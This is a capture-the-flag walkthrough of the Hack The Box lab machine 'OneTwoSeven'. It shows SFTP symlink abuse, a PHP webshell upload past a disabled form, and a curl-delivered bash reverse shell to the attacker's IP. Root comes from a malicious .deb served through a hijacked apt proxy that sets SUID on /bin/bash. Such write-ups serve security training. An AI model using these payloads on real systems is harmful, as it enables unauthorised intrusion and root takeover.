HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

OneTwoSeven

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.133 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.93 scan initiated Sat May  6 08:17:20 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.133
Nmap scan report for 10.10.10.133
Host is up (0.073s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
60080/tcp filtered unknown

# Nmap done at Sat May  6 08:17:35 2023 -- 1 IP address (1 host up) scanned in 15.39 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80,60080 10.10.10.133 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.93 scan initiated Sat May  6 08:17:53 2023 as: nmap -sCV -p22,80,60080 -Pn -n -oN targeted 10.10.10.133
Nmap scan report for 10.10.10.133
Host is up (0.049s latency).

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 486c9334165805eb9ae55b96b6d514aa (RSA)
|   256 32b7f3e26dac943e6f11d805b9695845 (ECDSA)
|_  256 355204dc32691ab7527606e36c171ead (ED25519)
80/tcp    open     http    Apache httpd 2.4.25 ((Debian))
|_http-title: Page moved.
|_http-server-header: Apache/2.4.25 (Debian)
60080/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May  6 08:18:03 2023 -- 1 IP address (1 host up) scanned in 9.77 seconds

The website shows a signup button, and it says something about SFTP.

The signup page gives us some credentials to access the SFTP server.

Let's add the domain name to our /etc/hosts file.

nano /etc/hosts

# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.133    onetwoseven.htb

Exploitation

Using the credentials that we have, we'll see that there is one directory called public_html in the SFTP server.

sftp ots-mODVhZTM@10.10.10.133

ots-mODVhZTM@10.10.10.133's password: 74f85ae3
Connected to 10.10.10.133.
sftp> ls -l
drwxr-xr-x    2 1001     1001         4096 Feb 15  2019 public_html

Inside there is one file called index.html.

ls -l public_html/

-rw-r--r--    1 1001     1001          349 Feb 15  2019 index.html

Let's try to upload a file to that folder.

echo 'testing' > test.txt

sftp> cd public_html/
sftp> put test.txt
Uploading test.txt to /public_html/test.txt
test.txt                                                100%    8     0.2KB/s   00:00

We can access it from our personal home page.

http://onetwoseven.htb/~ots-mODVhZTM/test.txt

On SFTP server we could try to make a symlink of the root directory into a file called root.

sftp> symlink / root

Now we'll be able to access the root directory.

http://onetwoseven.htb/~ots-mODVhZTM/root/

There is one directory called htlm-admin in /var/www/.

Inside there is one file called .login.php.swp. Let's download it.

As the file is categorized as a binary, let's get its content with strings.

strings login.php.swp

...
if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8') {
...
<p>Administration backend. For administrators only.</p>
...
<?php if ( $_SERVER['SERVER_PORT'] != 60080 ) { die(); } ?>
...

The file contains a password hash for the ots-admin. It looks like an administration backend hosted on port 60080. The hash can be broken with crackstation.

As SFTP is available, we could do port forwarding of the 60080 port.

ssh -L 60080:127.0.0.1:60080 -N -f ots-mODVhZTM@10.10.10.133

ots-mODVhZTM@10.10.10.133's password: 74f85ae3

By accessing port 60080 of our localhost we'll see an administration backend.

Using the credentials we have for ots-admin, we'll be able to log in.

As we can see, there are a few plugins. The OTS Default User plugin shows credentials for another user.

If we log into the SFTP server with these new credentials, we'll see the flag user.txt.

sftp ots-yODc2NGQ@10.10.10.133

ots-yODc2NGQ@10.10.10.133's password: f528764d
Connected to 10.10.10.133.
sftp> ls
public_html  user.txt
sftp> get user.txt 
Fetching /user.txt to user.txt
user.txt                                                        100%   33     0.4KB/s   00:00    
sftp> exit
# cat user.txt
ef488fac793e0319d8c9d07254b98b0b

We need to find a way to upload a malicious plugin. The OTS Addon Manager shows that there are RewriteRules.

Let's click the [DL] button to download the source code of the plugin.

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS Addon Manager
switch (true) {
	# Upload addon to addons folder.
	case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
		if(isset($_FILES['addon'])){
			$errors= array();
			$file_name = basename($_FILES['addon']['name']);
			$file_size =$_FILES['addon']['size'];
			$file_tmp =$_FILES['addon']['tmp_name'];

			if($file_size > 20000){
				$errors[]='Module too big for addon manager. Please upload manually.';
			}

			if(empty($errors)==true) {
				move_uploaded_file($file_tmp,$file_name);
				header("Location: /menu.php");
				header("Content-Type: text/plain");
				echo "File uploaded successfull.y";
			} else {
				header("Location: /menu.php");
				header("Content-Type: text/plain");
				echo "Error uploading the file: ";
				print_r($errors);
			}
		}
		break;
	# Download addon from addons folder.
	case preg_match('/\/addon-download.php/',$_SERVER['REQUEST_URI']):
		if ($_GET['addon']) {
			$addon_file = basename($_GET['addon']);
			if ( file_exists($addon_file) ) {
				header("Content-Disposition: attachment; filename=$addon_file");
				header("Content-Type: text/plain");
				readfile($addon_file);
			} else {
				header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
				die();
			}
		}
		break;
	default:
		echo "The addon manager must not be executed directly but only via<br>";
		echo "the provided RewriteRules:<br><hr>";
		echo "RewriteEngine On<br>";
		echo "RewriteRule ^addon-upload.php   addons/ots-man-addon.php [L]<br>";
		echo "RewriteRule ^addon-download.php addons/ots-man-addon.php [L]<br><hr>";
		echo "By commenting individual RewriteRules you can disable single<br>";
		echo "features (i.e. for security reasons)<br><br>";
		echo "<font size='-2'>Please note: Disabling a feature through htaccess leads to 404 errors for now.</font>";
		break;
}
?>

To upload a plugin successfully, the script checks if the /addon-upload.php string is in the URL. Then it puts it in the /addons directory. But the Plugin Upload component is disabled.

But, as it is disabled in the front end, we could change it. Select the Submit button, and edit it as HTML.

Then, delete the disabled="disabled" tag. Note that the action tag is set to addon-upload.php. But as we saw in the OTS Addon Manager, some RewriteRules change addon-download.php to addons/ots-man-addon.php. To make it work, we'll have to set the action tag to /addon-download.php/addon-upload.php.

Now, create a simple webshell, and upload it.

nano pwn.php

<?php
        echo "<pre>" . system($_GET['cmd']) . "</pre>";
?>

The webshell gets uploaded successfully.

Time to get a shell. First, let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Then, send a reverse shell and get access to the server as www-data.

curl 'http://localhost:60080/addons/pwn.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.6/4444+0>%261"'

Listening on 0.0.0.0 4444
Connection received on 10.10.10.133 50804
bash: cannot set terminal process group (1581): Inappropriate ioctl for device
bash: no job control in this shell
www-admin-data@onetwoseven:/var/www/html-admin/addons$ whoami
whoami
www-admin-data

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command on our local machine:

stty size

51 236

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

If we check the sudo permissions, we'll see that we can update and upgrade the system as root. We can also change the http_proxy variable.

sudo -l

Matching Defaults entries for www-admin-data on onetwoseven:
    env_reset, env_keep+="ftp_proxy http_proxy https_proxy no_proxy", mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-admin-data may run the following commands on onetwoseven:
    (ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade

We could try to redirect to all the server traffic to our machine changing the http_proxy variable, so when we run the update and the upgrade, it will try to check the apt repository from our machine. We could create a malicious .deb file for a new version of any program, so when we do the update, the server will download and execute the malicious .deb file. First, set the http_proxy variable to our proxy.

export http_proxy=http://10.10.14.6:8001

Then, set the proxy on port 8001 on our local machine.

proxy --hostname 0.0.0.0 --port 8001

Now, set the HTTP server from which the server will download the malicious files.

python -m http.server 80

Try to do an update from the machine to see the traffic flowing. As we can see in the proxy, it is trying to fetch data from packages.onetwoseven.htb.

sudo apt-get update

...
2023-05-10 09:24:14,909 - pid:427441 [W] server.connect_upstream:607 - Unable to connect with upstream packages.onetwoseven.htb:80 due to [Errno -2] Name or service not known
...

Let's point that domain to our localhost in the /etc/hosts file.

nano /etc/hosts

# Host addresses
127.0.0.1  localhost    packages.onetwoseven.htb
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.133    onetwoseven.htb

If we run the update again, we'll see that now it is trying to fetch data from our HTTP server. As we can see, it is trying to get the /devuan/dists/ascii/main/binary-amd64/Packages.gz file. First, create the directories.

mkdir -p devuan/dists/ascii/main/binary-amd64/

As we can see, telnet is currently in the version 0.17-41.

dpkg -l

||/ Name                  Version            Architecture       Description
+++-=====================-==================-==================-====================
ii  telnet                0.17-41            amd64              basic telnet client
...

Now, let's create the malicious .deb file. First create the DEBIAN and usr directories inside malicious_telnet.

mkdir malicious_telnet

mkdir malicious_telnet/DEBIAN

mkdir malicious_telnet/usr

Then, create the malicious_telnet/DEBIAN/control file with the following content.

nano malicious_telnet/DEBIAN/control

Package: telnet
Maintainer: alfa8sa
Version: 0.17-42
Architecture: amd64
Description: alfa8sa

Create the file malicious_telnet/DEBIAN/postinst with the bash code that we want to run on the system as root.

nano malicious_telnet/DEBIAN/postinst

#!/bin/bash
chmod u+s /bin/bash

Create the telnet_0.17-42_amd64.deb file.

dpkg-deb -b malicious_telnet/ telnet_0.17-42_amd64.deb

Get the SHA-256 hash fo the telnet_0.17-42_amd64.deb file.

sha256sum telnet_0.17-42_amd64.deb

203376e7be8ca6747fc3dc2e858ffe531749c94c6785f1931685eab54169258d  telnet_0.17-42_amd64.deb

Then, create the malicious Packages file, and compress it.

nano Packages

gzip Packages -c > Packages.gz

Package: telnet
Version: 0.17-42
Maintainer: alfa8sa
Architecture: amd64
Description: alfa8sa
Section: net
Priority: standard
Filename: dists/ascii/main/binary-amd64/telnet_0.17-42_amd64.deb
Size: 716
SHA256: 203376e7be8ca6747fc3dc2e858ffe531749c94c6785f1931685eab54169258d

Finally, if we update the server, it will download the /devuan/dists/ascii/main/binary-amd64/Packages.gz file, and when we update it, it will download the /devuan/dists/ascii/main/binary-amd64/telnet_0.17-42_amd64.deb and run the bash script we made, giving SUID permissions to the /bin/bash binary.

sudo apt-get update

sudo apt-get upgrade

ls -l /bin/bash

-rwsr-xr-x 1 root root 1099016 May 15  2017 /bin/bash

Get a bash as root, and then all we have to do is reap the harvest and take the root flag.

bash -p

bash-4.4# whoami
root
bash-4.4# cat /root/root.txt 
e4c3e5bee284ce35b47a31559547f962